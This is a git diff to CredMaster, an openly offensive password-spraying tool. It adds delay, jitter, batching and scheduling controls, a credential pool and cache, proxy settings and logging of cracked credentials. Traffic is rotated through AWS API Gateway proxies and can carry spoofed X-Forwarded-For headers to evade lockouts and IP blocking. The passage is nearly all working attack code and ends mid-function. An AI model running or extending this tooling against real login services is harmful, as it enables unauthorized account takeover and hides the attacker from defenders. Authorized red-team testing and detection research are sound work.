diff --git a/.gitignore b/.gitignore index c38be60..8143f13 100644 --- a/.gitignore +++ b/.gitignore @@ -1,6 +1,8 @@ aws.config config.json credmaster-success.txt +credmaster-validusers.txt +credmaster-cache.db venv/ env/ __pycache__/ diff --git a/README.md b/README.md index 08b179c..a15a81d 100644 --- a/README.md +++ b/README.md @@ -16,6 +16,13 @@ For detection tips, see the blogpost and detection section. 3. `pip install -r requirements.txt` 4. Fill out the config file ([wiki](https://github.com/knavesec/CredMaster/wiki/Config-File)) with desired options, or provide through CLI +## Quick notes on delays + +- `delay_user` is the minimum amount of time (in seconds) between two tries for a same user. +- `delay_domain` is the minimum amount of time (in seconds) between two tries for a same domain. +- `batch_delay` is the minimum amount of time (in seconds) between two batches (batches' size is defined in `batch_size`). +- `jitter` is the maximum amount of time between two tries (no matter the user or domain). +- `jitter_min` is the minimum amount of time between two tries (no matter the user or domain). ## Benefits & Features ## @@ -63,6 +70,8 @@ The following plugins are currently supported: * `--plugin httpbrute` * [GMailEnum](https://github.com/knavesec/CredMaster/wiki/GmailEnum) - GSuite/Gmail enumeration * `--plugin gmailenum` +* AWS IAM - AWS IAM enumeration + * `--plugin aws` Example Use: diff --git a/config.example.json b/config.example.json new file mode 100644 index 0000000..fe5c865 --- /dev/null +++ b/config.example.json @@ -0,0 +1,49 @@ +{ + "plugin" : "msol", + "userfile" : "users-example.com", + "passwordfile" : "passwords-example.com", + "passwordconfig" : null, + "userpassfile" : null, + "useragentfile" : "useragents.txt", + + "outfile" : "example.credmaster.logs", + "threads" : 1, + "region" : "eu-west-3", + "jitter" : 20, + "jitter_min" : 10, + "delay_user" : 3610, + "comment": "delay_user is the delay in seconds between two authentications with the same user", + "delay_domain": null, + "batch_size": 15, + "batch_delay": 20, + "header" : null, + "xforwardedfor" : null, + "weekday_warrior" : 0, + "comment": "weekday_warrior allows you to spray only during the day", + "color" : false, + "trim" : false, + "cache_file": "cache.db", + "proxy": "http://127.0.0.1:8080", + "comment": "proxy to use", + "proxy_notify": null, + "debug": false, + + "slack_webhook" : null, + "pushover_token" : null, + "pushover_user" : null, + "ntfy_topic" : null, + "ntfy_host" : null, + "ntfy_token" : null, + "discord_webhook" : null, + "teams_webhook" : null, + "keybase_webhook": null, + "operator_id" : null, + "exclude_password" : false, + + "no_fireprox" : true, + "access_key" : "AKIA[...]", + "secret_access_key" : "odW1wn[...]6L8xd", + "session_token" : null, + "profile_name" : null, + "api_prefix": null +} diff --git a/config.json b/config.json index 05f1cf1..c167e5f 100644 --- a/config.json +++ b/config.json @@ -2,6 +2,7 @@ "plugin" : null, "userfile" : null, "passwordfile" : null, + "passwordconfig" : null, "userpassfile" : null, "useragentfile" : null, @@ -10,16 +11,19 @@ "region" : null, "jitter" : null, "jitter_min" : null, - "delay" : null, + "delay_user" : null, + "delay_domain": null, "batch_size": null, "batch_delay": null, - "passwordsperdelay" : null, - "randomize" : false, "header" : null, "xforwardedfor" : null, "weekday_warrior" : null, "color" : false, "trim" : false, + "cache_file": null, + "proxy": null, + "proxy_notify": null, + "debug": false, "slack_webhook" : null, "pushover_token" : null, @@ -33,8 +37,10 @@ "operator_id" : null, "exclude_password" : false, + "no_fireprox" : false, "access_key" : null, "secret_access_key" : null, "session_token" : null, - "profile_name" : null + "profile_name" : null, + "api_prefix": null } diff --git a/credmaster.py b/credmaster.py index 9eec347..9aefa25 100755 --- a/credmaster.py +++ b/credmaster.py @@ -1,9 +1,12 @@ #!/usr/bin/env python3 # from zipfile import * -import threading, queue, argparse, datetime, json, importlib, random, os, time, sys +import threading, argparse, datetime, json, importlib, random, os, sys, termios, tty, select from utils.fire import FireProx +from utils.credentials_pool import CredentialsPool +from utils.cache import Cache import utils.utils as utils import utils.notify as notify +import logging class CredMaster(object): @@ -15,13 +18,13 @@ def __init__(self, args, pargs): "us-east-2", "us-east-1","us-west-1","us-west-2","eu-west-3", "ap-northeast-1","ap-northeast-2","ap-south-1", "ap-southeast-1","ap-southeast-2","ca-central-1", - "eu-central-1","eu-west-1","eu-west-2","sa-east-1", + "eu-central-1","eu-west-1","eu-west-2","sa-east-1" ] + self.lock = threading.Lock() self.lock_userenum = threading.Lock() self.lock_success = threading.Lock() - self.q_spray = queue.Queue() self.outfile = None self.color = None @@ -37,7 +40,45 @@ def __init__(self, args, pargs): self.clean = args.clean self.api_destroy = args.api_destroy self.api_list = args.api_list - + self.api_prefix = args.api_prefix + + # Logging things with proper libraries + self.console_logger = logging.getLogger(__name__) + self.success_logger = logging.getLogger("success") + self.valid_logger = logging.getLogger("valid") + self.progress_logger = logging.getLogger("progress") + + self.console_logger.setLevel(logging.DEBUG) + self.console_stdout_handler = logging.StreamHandler() + self.console_stdout_handler.setLevel(logging.INFO) + # OG format : + # ts = datetime.datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S.%f')[:-3] + # print(f"[{ts}] {entry}") + self.console_stdout_handler.setFormatter(logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')) + self.console_logger.addHandler(self.console_stdout_handler) + + self.success_logger.setLevel(logging.DEBUG) + self.success_handler = logging.FileHandler("credmaster-success.txt") + self.success_handler.setLevel(logging.INFO) + self.success_handler.setFormatter(logging.Formatter('%(asctime)s - %(message)s')) + self.success_logger.addHandler(self.success_handler) + + self.valid_logger.setLevel(logging.DEBUG) + self.valid_handler = logging.FileHandler("credmaster-validusers.txt") + self.valid_handler.setLevel(logging.INFO) + self.valid_handler.setFormatter(logging.Formatter('%(asctime)s - %(message)s')) + self.valid_logger.addHandler(self.valid_handler) + + self.progress_logger.setLevel(logging.DEBUG) + self.progress_handler = logging.StreamHandler() + self.progress_handler.setLevel(logging.INFO) + self.progress_handler.setFormatter(logging.Formatter('%(asctime)s - PROGRESS - %(message)s')) + self.progress_logger.addHandler(self.progress_handler) + self.old_term = None + + self.progress_thread = threading.Thread(target=self.keyboard_handler) + + # Arguments parsing self.pargs = pargs self.parse_all_args(args) @@ -45,13 +86,34 @@ def __init__(self, args, pargs): # Utility handling, else run spray if args.clean: - self.clear_all_apis() + if not args.no_fireprox: + self.console_logger.warning("Are you sure that you want to remove **ALL** API Gateways associated with credmaster and your AWS account (in any region) ?") + self.console_logger.info("Note that you can remove a single API by first using --api_list to list APIs and then --api_destroy ") + resp = input("Do you really want this ? [y/N] ") + if resp.lower() == "y": + self.console_logger.debug("Will clear all API Gateways") + self.clear_all_apis() + else: + self.console_logger.info("Cancelling...") + else: + self.console_logger.warning("Fireprox is disabled, will not connect to AWS. Aborting") elif args.api_destroy != None: - self.destroy_single_api(args.api_destroy) + if not args.no_fireprox: + self.destroy_single_api(args.api_destroy) + else: + self.console_logger.warning("Fireprox is disabled, will not connect to AWS. Aborting") elif args.api_list: - self.list_apis() + if not args.no_fireprox: + self.list_apis() + else: + self.console_logger.warning("Fireprox is disabled, will not connect to AWS. Aborting") else: - self.Execute(args) + self.finished = False + self.progress_thread.start() + self.Execute() + self.finished = True + self.console_logger.debug("Joining progress thread...") + self.progress_thread.join() def parse_all_args(self, args): @@ -64,7 +126,7 @@ def parse_all_args(self, args): self.args = args if args.config is not None and not os.path.exists(args.config): - self.log_entry(f"Config file {args.config} cannot be found") + self.console_logger.info(f"Config file {args.config} cannot be found") sys.exit() # assign variables @@ -78,32 +140,45 @@ def parse_all_args(self, args): self.plugin = args.plugin or config_dict.get("plugin") self.userfile = args.userfile or config_dict.get("userfile") self.passwordfile = args.passwordfile or config_dict.get("passwordfile") + self.passwordconfig = args.passwordconfig or config_dict.get("passwordconfig") self.userpassfile = args.userpassfile or config_dict.get("userpassfile") self.useragentfile = args.useragentfile or config_dict.get("useragentfile") self.trim = args.trim or config_dict.get("trim") + self.cache = Cache(args.cache_file or config_dict.get("cache_file")) + self.proxy = args.proxy or config_dict.get("proxy") + if self.proxy: + self.proxy = {"http": self.proxy, "https": self.proxy} + self.proxy_notify = args.proxy_notify or config_dict.get("proxy_notify") + if self.proxy_notify: + self.proxy_notify = {"http": self.proxy_notify, "https": self.proxy_notify} + self.debug = args.debug or config_dict.get("debug") + if self.debug: + self.console_stdout_handler.setLevel(logging.DEBUG) self.outfile = args.outfile or config_dict.get("outfile") + if self.outfile is not None: + if os.path.exists(self.outfile): + self.console_logger.error(f"File {self.outfile} already exists, try again with a unique file name") + sys.exit() + self.console_file_handler = logging.FileHandler(self.outfile) + self.console_file_handler.setLevel(logging.INFO) + self.console_logger.addHandler(self.console_file_handler) self.thread_count = args.threads or config_dict.get("threads") if self.thread_count == None: self.thread_count = 1 self.region = args.region or config_dict.get("region") - self.jitter = args.jitter or config_dict.get("jitter") - self.jitter_min = args.jitter_min or config_dict.get("jitter_min") - self.delay = args.delay or config_dict.get("delay") - - self.batch_size = args.batch_size or config_dict.get("batch_size") - self.batch_delay = args.batch_delay or config_dict.get("batch_delay") + self.jitter = args.jitter or int(config_dict.get("jitter") or 0) + self.jitter_min = args.jitter_min or int(config_dict.get("jitter_min") or 0) + self.delay_user = args.delay_user or int(config_dict.get("delay_user") or 0) + self.delay_domain = args.delay_domain or int(config_dict.get("delay_domain") or 0) + + self.batch_size = args.batch_size or int(config_dict.get("batch_size") or 0) + self.batch_delay = args.batch_delay or int(config_dict.get("batch_delay") or 0) if self.batch_size != None and self.batch_delay == None: self.batch_delay = 1 - - self.passwordsperdelay = args.passwordsperdelay or config_dict.get("passwordsperdelay") - if self.passwordsperdelay == None: - self.passwordsperdelay = 1 - - self.randomize = args.randomize or config_dict.get("randomize") self.header = args.header or config_dict.get("header") self.xforwardedfor = args.xforwardedfor or config_dict.get("xforwardedfor") self.weekdaywarrior = args.weekday_warrior or config_dict.get("weekday_warrior") @@ -123,98 +198,91 @@ def parse_all_args(self, args): "exclude_password" : args.exclude_password or config_dict.get("exclude_password") } + self.no_fireprox = args.no_fireprox or config_dict.get("no_fireprox") self.access_key = args.access_key or config_dict.get("access_key") self.secret_access_key = args.secret_access_key or config_dict.get("secret_access_key") self.session_token = args.session_token or config_dict.get("session_token") self.profile_name = args.profile_name or config_dict.get("profile_name") + self.api_prefix = args.api_prefix or config_dict.get("api_prefix") + if self.api_prefix is None: + self.api_prefix = "fireprox" - def do_input_error_handling(self): - # input exception handling - if self.outfile != None: - of = self.outfile + "-credmaster.txt" - if os.path.exists(of): - self.log_entry(f"File {of} already exists, try again with a unique file name") - sys.exit() + def do_input_error_handling(self): # File handling if self.userfile is not None and not os.path.exists(self.userfile): - self.log_entry(f"Username file {self.userfile} cannot be found") + self.console_logger.error(f"Username file {self.userfile} cannot be found") sys.exit() if self.passwordfile is not None and not os.path.exists(self.passwordfile): - self.log_entry(f"Password file {self.passwordfile} cannot be found") + self.console_logger.error(f"Password file {self.passwordfile} cannot be found") + sys.exit() + + if self.passwordconfig is not None and not os.path.exists(self.passwordconfig): + self.console_logger.error(f"Password config file {self.passwordconfig} cannot be found") sys.exit() if self.userpassfile is not None and not os.path.exists(self.userpassfile): - self.log_entry(f"User-pass file {self.userpassfile} cannot be found") + self.console_logger.error(f"User-pass file {self.userpassfile} cannot be found") sys.exit() if self.useragentfile is not None and not os.path.exists(self.useragentfile): - self.log_entry(f"Useragent file {self.useragentfile} cannot be found") + self.console_logger.error(f"Useragent file {self.useragentfile} cannot be found") sys.exit() - # AWS Key Handling - if self.session_token is not None and (self.secret_access_key is None or self.access_key is None): - self.log_entry("Session token requires access_key and secret_access_key") - sys.exit() - if self.profile_name is not None and (self.access_key is not None or self.secret_access_key is not None): - self.log_entry("Cannot use a passed profile and keys") - sys.exit() - if self.access_key is not None and self.secret_access_key is None: - self.log_entry("access_key requires secret_access_key") - sys.exit() - if self.access_key is None and self.secret_access_key is not None: - self.log_entry("secret_access_key requires access_key") - sys.exit() - if self.access_key is None and self.secret_access_key is None and self.session_token is None and self.profile_name is None: - self.log_entry("No FireProx access arguments settings configured, add access keys/session token or fill out config file") - sys.exit() + if not self.no_fireprox: + # AWS Key Handling + if self.session_token is not None and (self.secret_access_key is None or self.access_key is None): + self.console_logger.error("Session token requires access_key and secret_access_key") + sys.exit() + if self.profile_name is not None and (self.access_key is not None or self.secret_access_key is not None): + self.console_logger.error("Cannot use a passed profile and keys") + sys.exit() + if self.access_key is not None and self.secret_access_key is None: + self.console_logger.error("access_key requires secret_access_key") + sys.exit() + if self.access_key is None and self.secret_access_key is not None: + self.console_logger.error("secret_access_key requires access_key") + sys.exit() + if self.access_key is None and self.secret_access_key is None and self.session_token is None and self.profile_name is None: + self.console_logger.error("No FireProx access arguments settings configured, add access keys/session token or fill out config file") + sys.exit() # Region handling if self.region is not None and self.region not in self.regions: - self.log_entry(f"Input region {self.region} not a supported AWS region, {self.regions}") + self.console_logger.error(f"Input region {self.region} not a supported AWS region, {self.regions}") sys.exit() # Jitter handling if self.jitter_min is not None and self.jitter is None: - self.log_entry("--jitter flag must be set with --jitter-min flag") - sys.exit() - elif self.jitter_min is not None and self.jitter is not None and self.jitter_min >= self.jitter: - self.log_entry("--jitter flag must be greater than --jitter-min flag") + self.console_logger.error("--jitter flag must be set with --jitter-min flag") sys.exit() # Notification Error handlng if self.notify_obj["pushover_user"] is not None and self.notify_obj["pushover_token"] is None: - self.log_entry("pushover_user input requires pushover_token input") + self.console_logger.error("pushover_user input requires pushover_token input") sys.exit() elif self.notify_obj["pushover_user"] is None and self.notify_obj["pushover_token"] is not None: - self.log_entry("pushover_token input requires pushover_user input") + self.console_logger.error("pushover_token input requires pushover_user input") sys.exit() # Notification Error handlng - ntfy if self.notify_obj["ntfy_topic"] is not None and self.notify_obj["ntfy_host"] is None: - self.log_entry("ntfy_topic input requires ntfy_host input") + self.console_logger.error("ntfy_topic input requires ntfy_host input") sys.exit() elif self.notify_obj["ntfy_topic"] is None and self.notify_obj["ntfy_host"] is not None: - self.log_entry("ntfy_host input requires ntfy_topic input") + self.console_logger.error("ntfy_host input requires ntfy_topic input") sys.exit() # batch handling if self.batch_delay != None and self.batch_size == None: - self.log_entry("--batch_size flag must be set with --batch_delay flag") + self.console_logger.error("--batch_size flag must be set with --batch_delay flag") sys.exit() - - def Execute(self, args): - - # Weekday Warrior options - if self.weekdaywarrior is not None: - # kill delay & passwords per delay since this is predefined - self.delay = None - self.passwordsperdelay = 1 + def Execute(self): # parse plugin specific arguments pluginargs = {} @@ -224,52 +292,116 @@ def Execute(self, args): key = self.pargs[i].replace("--","") pluginargs[key] = self.pargs[i+1] - ## + ## ## If any plugins require a special argument, set it here ## Ex: Okta plugin requires the threadcount value for some checking, set it manually ## pluginargs['thread_count'] = self.thread_count self.start_time = datetime.datetime.utcnow() - self.log_entry(f"Execution started at: {self.start_time}") + self.console_logger.info(f"Execution started at: {self.start_time}") # Check with plugin to make sure it has the data that it needs validator = importlib.import_module(f"plugins.{self.plugin}") if getattr(validator,"validate",None) is not None: valid, errormsg, pluginargs = validator.validate(pluginargs, self.args) if not valid: - self.log_entry(errormsg) + self.console_logger.error(errormsg) return else: - self.log_entry(f"No validate function found for plugin: {self.plugin}") + self.console_logger.warning(f"No validate function found for plugin: {self.plugin}") self.userenum = False if "userenum" in pluginargs and pluginargs["userenum"]: self.userenum = True # file stuffs - if self.userpassfile is None and (self.userfile is None or (self.passwordfile is None and not self.userenum)): - self.log_entry("Please provide plugin & username/password information, or provide API utility options (api_list/api_destroy/clean)") + if self.userpassfile is None and (self.userfile is None or ((self.passwordfile is None and self.passwordconfig is None) and not self.userenum)): + self.console_logger.error("Please provide plugin & username/password information, or provide API utility options (api_list/api_destroy/clean)") sys.exit() + self.passwords = {"default": []} + self.userpass = [] + + + if self.passwordconfig is not None: + with open(self.passwordconfig, "r") as f: + _temp = json.load(f) + for k in _temp.keys(): + if not os.path.exists(_temp[k]): + self.console_logger.error(f"Password file {_temp[k]} for domain {k} cannot be found") + sys.exit() + self.passwords[k] = self.load_file(_temp[k]) + + if self.passwordfile is not None: + self.passwords["default"].extend(self.load_file(self.passwordfile)) + + if self.userpassfile is not None: + self.userpass = [tuple(l.split(':', 1)) for l in self.load_file(self.userpassfile)] + + if self.userenum: + self.passwords = {"default": ["Password123"]} + # batch login if self.batch_size: - self.log_entry(f"Batching requests enabled: {self.batch_size} requests per thread, {self.batch_delay}s of delay between each batch.") + self.console_logger.info(f"Batching requests enabled: {self.batch_size} requests, {self.batch_delay}s of delay between each batch.") + + + users = [] + userpass = [] + if self.userenum: + self.console_logger.info(f"Loading users and useragents") + users = self.load_file(self.userfile) + elif self.userpassfile is None: + self.console_logger.info(f"Loading users from {self.userfile}") + users = self.load_file(self.userfile) + else: + self.console_logger.info(f"Loading credentials from {self.userpassfile} as user-pass file") + _temp = self.load_file(self.userpassfile) + for u_p in _temp: + userpass.append(tuple(u_p.split(':', 1))) + if self.userfile is not None: + users = self.load_file(self.userfile) + + useragents = ["Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"] + if self.useragentfile is not None and os.path.exists(self.useragentfile): + useragents = self.load_file(self.useragentfile) + self.creds_pool = CredentialsPool( + users=set(users), + passwords=self.passwords, + userpass=self.userpass, + useragents=set(useragents), + delays={ + "var": self.jitter, + "req": self.jitter_min, + "batch": self.batch_delay, + "domain": self.delay_domain, + "user": self.delay_user + }, + batch_size=self.batch_size, + weekday_warrior=self.weekdaywarrior, + cache=self.cache, + plugin=self.plugin, + logger_entry=self.console_logger, + logger_success=self.success_logger, + signal_success=self.signal_success + ) # Custom header handling if self.header is not None: - self.log_entry(f"Adding custom header \"{self.header}\" to requests") + self.console_logger.info(f"Adding custom header \"{self.header}\" to requests") head = self.header.split(":")[0].strip() val = self.header.split(":")[1].strip() pluginargs["custom-headers"] = {head : val} if self.xforwardedfor is not None: self.log_entry(f"Setting static X-Forwarded-For header to: \"{self.xforwardedfor}\"") - pluginargs["xforwardedfor"] = self.xforwardedfor - + pluginargs["xforwardedfor"] = self.xforwardedfor + # this is the original URL, NOT the fireproxy one. Don't use this in your sprays! url = pluginargs["url"] + pluginargs["proxy"] = self.proxy threads = [] @@ -278,9 +410,9 @@ def Execute(self, args): self.load_apis(url, region = self.region) # do test connection / fingerprint - useragent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0" + useragent = random.choice(useragents) connect_success, testconnect_output, pluginargs = validator.testconnect(pluginargs, self.args, self.apis[0], useragent) - self.log_entry(testconnect_output) + self.console_logger.info(testconnect_output) if not connect_success: self.destroy_apis() @@ -289,91 +421,44 @@ def Execute(self, args): # Print stats self.display_stats() - self.log_entry("Starting Spray...") + self.console_logger.info("Starting Spray...") - count = 0 - time_count = 0 - passwords = ["Password123"] - if self.userpassfile is None and not self.userenum: - passwords = self.load_file(self.passwordfile) + # Start Spray + threads = [] + for api in self.apis: + t = threading.Thread(target = self.spray_thread, args = (api["region"], api, pluginargs) ) + threads.append(t) + t.start() - for password in passwords: + for t in threads: + t.join() - time_count += 1 - if time_count == 1: - if self.userenum: - notify.notify_update("Info: Starting Userenum.", self.notify_obj) - else: - notify.notify_update(f"Info: Starting Spray.\nPass: {password}", self.notify_obj) - - else: - notify.notify_update(f"Info: Spray Continuing.\nPass: {password}", self.notify_obj) - - if self.weekdaywarrior is not None: - spray_days = { - 0 : "Monday", - 1 : "Tuesday", - 2 : "Wednesday", - 3 : "Thursday", - 4 : "Friday", - 5 : "Saturday", - 6 : "Sunday" , - } - - self.weekdaywarrior = int(self.weekdaywarrior) - sleep_time = self.ww_calc_next_spray_delay(self.weekdaywarrior) - next_time = datetime.datetime.utcnow() + datetime.timedelta(hours=self.weekdaywarrior) + datetime.timedelta(minutes=sleep_time) - self.log_entry(f"Weekday Warrior: sleeping {sleep_time} minutes until {next_time.strftime('%H:%M')} on {spray_days[next_time.weekday()]} in UTC {self.weekdaywarrior}") - time.sleep(sleep_time*60) - - self.load_credentials(password) - - # Start Spray - threads = [] - for api in self.apis: - t = threading.Thread(target = self.spray_thread, args = (api["region"], api, pluginargs) ) - threads.append(t) - t.start() - - for t in threads: - t.join() - count = count + 1 - - if self.delay is None or len(passwords) == 1 or password == passwords[len(passwords)-1]: - if self.userpassfile != None: - self.log_entry(f"Completed spray with user-pass file {self.userpassfile} at {datetime.datetime.utcnow()}") - elif self.userenum: - self.log_entry(f"Completed userenum at {datetime.datetime.utcnow()}") - else: - self.log_entry(f"Completed spray with password {password} at {datetime.datetime.utcnow()}") + notify.notify_update(f"Info: Spray complete.", self.notify_obj, self.proxy_notify) - notify.notify_update(f"Info: Spray complete.", self.notify_obj) - continue - elif count != self.passwordsperdelay: - self.log_entry(f"Completed spray with password {password} at {datetime.datetime.utcnow()}, moving on to next password...") - continue - else: - self.log_entry(f"Completed spray with password {password} at {datetime.datetime.utcnow()}, sleeping for {self.delay} minutes before next password spray") - self.log_entry(f"Valid credentials discovered: {len(self.results)}") - for success in self.results: - self.log_entry(f"Valid: {success['username']}:{success['password']}") - count = 0 - time.sleep(self.delay * 60) + self.console_logger.info(f"Valid credentials discovered: {len(self.results)}") + for success in self.results: + self.console_logger.info(f"Valid: {success['username']}:{success['password']}") # Remove AWS resources self.destroy_apis() except KeyboardInterrupt: - self.log_entry("KeyboardInterrupt detected, cleaning up APIs") + self.console_logger.warning("KeyboardInterrupt detected, cleaning up APIs") try: - self.log_entry("Finishing active requests") + self.console_logger.info("Finishing active requests") self.cancelled = True + self.creds_pool.cancelled = True + self.creds_pool.get_creds_lock.release() for t in threads: t.join() self.destroy_apis() + if self.old_term is not None: + termios.tcsetattr(sys.stdin, termios.TCSADRAIN, self.old_term) except KeyboardInterrupt: - self.log_entry("Second KeyboardInterrupt detected, unable to clean up APIs :( try the --clean option") + self.console_logger.warning("Second KeyboardInterrupt detected, unable to clean up APIs :( try the --clean option") + + termios.tcsetattr(sys.stdin, termios.TCSADRAIN, self.old_term) # Capture duration self.end_time = datetime.datetime.utcnow() @@ -386,24 +471,30 @@ def Execute(self, args): def load_apis(self, url, region=None): if self.thread_count > len(self.regions): - self.log_entry("Thread count over maximum, reducing to 15") + self.console_logger.warning("Thread count over maximum, reducing to 15") self.thread_count = len(self.regions) - self.log_entry(f"Creating {self.thread_count} API Gateways for {url}") + self.console_logger.info(f"Creating {self.thread_count} API Gateways for {url}") self.apis = [] # slow but multithreading this causes errors in boto3 for some reason :( for x in range(0,self.thread_count): - reg = self.regions[x] - if region is not None: - reg = region - self.apis.append(self.create_api(reg, url.strip())) - self.log_entry(f"Created API - Region: {reg} ID: ({self.apis[x]['api_gateway_id']}) - {self.apis[x]['proxy_url']} => {url}") + if self.no_fireprox: + # No API Gateway + self.apis.append({"region": "local", "proxy_url": url.strip()} ) + else: + reg = self.regions[x] + if region is not None: + reg = region + self.apis.append(self.create_api(reg, url.strip())) + self.console_logger.info(f"Created API - Region: {reg} ID: ({self.apis[x]['api_gateway_id']}) - {self.apis[x]['proxy_url']} => {url}") def create_api(self, region, url): - + if self.no_fireprox: + self.console_logger.debug(f"Should not happen, this message is here to detect problems") + return {"region": "local", "proxy_url" : url } args, help_str = self.get_fireprox_args("create", region, url=url) fp = FireProx(args, help_str) resource_id, proxy_url = fp.create_api(url) @@ -421,6 +512,8 @@ def get_fireprox_args(self, command, region, url = None, api_id = None): args["api_id"] = api_id args["profile_name"] = self.profile_name args["session_token"] = self.session_token + args["prefix"] = self.api_prefix + args["proxy"] = self.proxy help_str = "Error, inputs cause error." @@ -429,35 +522,61 @@ def get_fireprox_args(self, command, region, url = None, api_id = None): def display_stats(self, start=True): if start: - self.log_entry(f"Total Regions Available: {len(self.regions)}") - self.log_entry(f"Total API Gateways: {len(self.apis)}") + if not self.no_fireprox: + self.console_logger.info(f"Total Regions Available: {len(self.regions)}") + self.console_logger.info(f"Total API Gateways: {len(self.apis)}") + else: + self.console_logger.info(f"Let's go without fireprox") if self.end_time and not start: - self.log_entry(f"End Time: {self.end_time}") - self.log_entry(f"Total Execution: {self.time_lapse} seconds") - self.log_entry(f"Valid credentials identified: {len(self.results)}") + self.console_logger.info(f"End Time: {self.end_time}") + self.console_logger.info(f"Total Execution: {self.time_lapse} seconds") + self.console_logger.info(f"Valid credentials identified: {len(self.results)}") for cred in self.results: - self.log_entry(f"VALID - {cred['username']}:{cred['password']}") + self.console_logger.info(f"VALID - {cred['username']}:{cred['password']}") - def list_apis(self): + def display_progress(self): + try: + if self.creds_pool.attempts_total > 0: + percentage = self.creds_pool.attempts_count / (self.creds_pool.attempts_total - self.creds_pool.attempts_trimmed) + else: + percentage = 1 + duration = datetime.datetime.now(datetime.UTC) - self.start_time + if percentage > 0: + eta = self.start_time + (1/percentage)*duration + else: + eta = "+inf" + log_string = f'{self.creds_pool.attempts_count} / {self.creds_pool.attempts_total - self.creds_pool.attempts_trimmed} ' + log_string += f'({round(100*percentage, 3)}%) ({self.creds_pool.attempts_trimmed} trimmed) - {duration} elapsed, ETA {eta} (UTC)' + self.progress_logger.info(log_string) + except: + self.progress_logger.error("Error when trying to compute progress") + return + + def list_apis(self): + if self.no_fireprox: + self.console_logger.info(f"Fireprox disabled, not cleaning APIs") + return for region in self.regions: args, help_str = self.get_fireprox_args("list", region) fp = FireProx(args, help_str) active_apis = fp.list_api() - self.log_entry(f"Region: {region} - total APIs: {len(active_apis)}") + self.console_logger.info(f"Region: {region} - total APIs: {len(active_apis)}") if len(active_apis) != 0: for api in active_apis: - self.log_entry(f"API Info -- ID: {api['id']}, Name: {api['name']}, Created Date: {api['createdDate']}") + self.console_logger.info(f"API Info -- ID: {api['id']}, Name: {api['name']}, Created Date: {api['createdDate']}") def destroy_single_api(self, api): - - self.log_entry("Destroying single API, locating region...") + if self.no_fireprox: + self.console_logger.info(f"Fireprox disabled, not cleaning APIs") + return + self.console_logger.info("Destroying single API, locating region...") for region in self.regions: args, help_str = self.get_fireprox_args("list", region) @@ -466,26 +585,29 @@ def destroy_single_api(self, api): for api1 in active_apis: if api1["id"] == api: - self.log_entry(f"API found in region {region}, destroying...") + self.console_logger.info(f"API found in region {region}, destroying...") fp.delete_api(api) sys.exit() - self.log_entry("API not found") + self.console_logger.error("API not found") def destroy_apis(self): - + if self.no_fireprox: + self.console_logger.info(f"Fireprox disabled, not cleaning APIs") + return for api in self.apis: - args, help_str = self.get_fireprox_args("delete", api["region"], api_id = api["api_gateway_id"]) fp = FireProx(args, help_str) - self.log_entry(f"Destroying API ({args['api_id']}) in region {api['region']}") + self.console_logger.info(f"Destroying API ({args['api_id']}) in region {api['region']}") fp.delete_api(args["api_id"]) def clear_all_apis(self): - - self.log_entry("Clearing APIs for all regions") + if self.no_fireprox: + self.console_logger.info(f"Fireprox disabled, not cleaning APIs") + return + self.console_logger.info("Clearing APIs for all regions") clear_count = 0 for region in self.regions: @@ -497,14 +619,14 @@ def clear_all_apis(self): err = "skipping" if count != 0: err = "removing" - self.log_entry(f"Region: {region}, found {count} APIs configured, {err}") + self.console_logger.info(f"Region: {region}, found {count} APIs configured, {err}") for api in active_apis: - if "fireprox" in api["name"]: + if self.api_prefix in api["name"]: fp.delete_api(api["id"]) clear_count += 1 - self.log_entry(f"APIs removed: {clear_count}") + self.console_logger.info(f"APIs removed: {clear_count}") def spray_thread(self, api_key, api_dict, pluginargs): @@ -512,111 +634,58 @@ def spray_thread(self, api_key, api_dict, pluginargs): try: plugin_authentiate = getattr(importlib.import_module(f"plugins.{self.plugin}.{self.plugin}"), f"{self.plugin}_authenticate") except Exception as ex: - self.log_entry("Error: Failed to import plugin with exception") - self.log_entry(f"Error: {ex}") + self.console_logger.error("Error: Failed to import plugin with exception") + self.console_logger.error(f"Error: {ex}") sys.exit() - count = 0 - - while not self.q_spray.empty() and not self.cancelled: - + while self.creds_pool.creds_left() and not self.cancelled: try: + cred = self.creds_pool.get_creds() + if cred is not None and not self.cancelled: + self.console_logger.debug(f"[Spray Thread] Trying {cred['username']}:{cred['password']}") + response = plugin_authentiate(api_dict["proxy_url"], cred["username"], cred["password"], cred["useragent"], pluginargs) - if self.batch_size and count != 0: - if count % self.batch_size == 0: - time.sleep(self.batch_delay * 60) - - cred = self.q_spray.get_nowait() - - count += 1 - - if self.jitter is not None: - if self.jitter_min is None: - self.jitter_min = 0 - time.sleep(random.randint(self.jitter_min,self.jitter)) + # if "debug" in response.keys(): + # print(response["debug"]) - response = plugin_authentiate(api_dict["proxy_url"], cred["username"], cred["password"], cred["useragent"], pluginargs) + self.cache.add_tentative(cred["username"], cred["password"], Cache.TRANSLATE[response["result"].lower()], response["output"], self.plugin) - # if "debug" in response.keys(): - # print(response["debug"]) + if response["error"]: + self.console_logger.error(f"ERROR: {api_key}: {cred['username']} - {response['output']}") - if response["error"]: - self.log_entry(f"ERROR: {api_key}: {cred['username']} - {response['output']}") + if response["result"].lower() == "inexistant" and self.trim: + self.creds_pool.trim_user(cred["username"]) - if response["result"].lower() == "success" and ("userenum" not in pluginargs): - self.results.append( {"username" : cred["username"], "password" : cred["password"]} ) - notify.notify_success(cred["username"], cred["password"], self.notify_obj) - self.log_success(cred["username"], cred["password"]) + if response["result"].lower() == "success" and ("userenum" not in pluginargs): + if self.trim: + self.creds_pool.trim_user(cred["username"]) + self.results.append( {"username" : cred["username"], "password" : cred["password"]} ) + notify.notify_success(cred["username"], cred["password"], self.notify_obj, self.proxy_notify) + self.success_logger.info(f'{cred["username"]}:{cred["password"]}') - if response["valid_user"] or response["result"] == "success": - self.log_valid(cred["username"], self.plugin) + if response["valid_user"] or response["result"] == "success": + self.valid_logger.info(f'{cred["username"]}') + if self.color: - if self.color: + if response["result"].lower() == "success": + self.console_logger.info(utils.prGreen(f"{api_key}: {response['output']}")) - if response["result"].lower() == "success": - self.log_entry(utils.prGreen(f"{api_key}: {response['output']}")) + elif response["result"].lower() == "potential": + self.console_logger.info(utils.prYellow(f"{api_key}: {response['output']}")) - elif response["result"].lower() == "potential": - 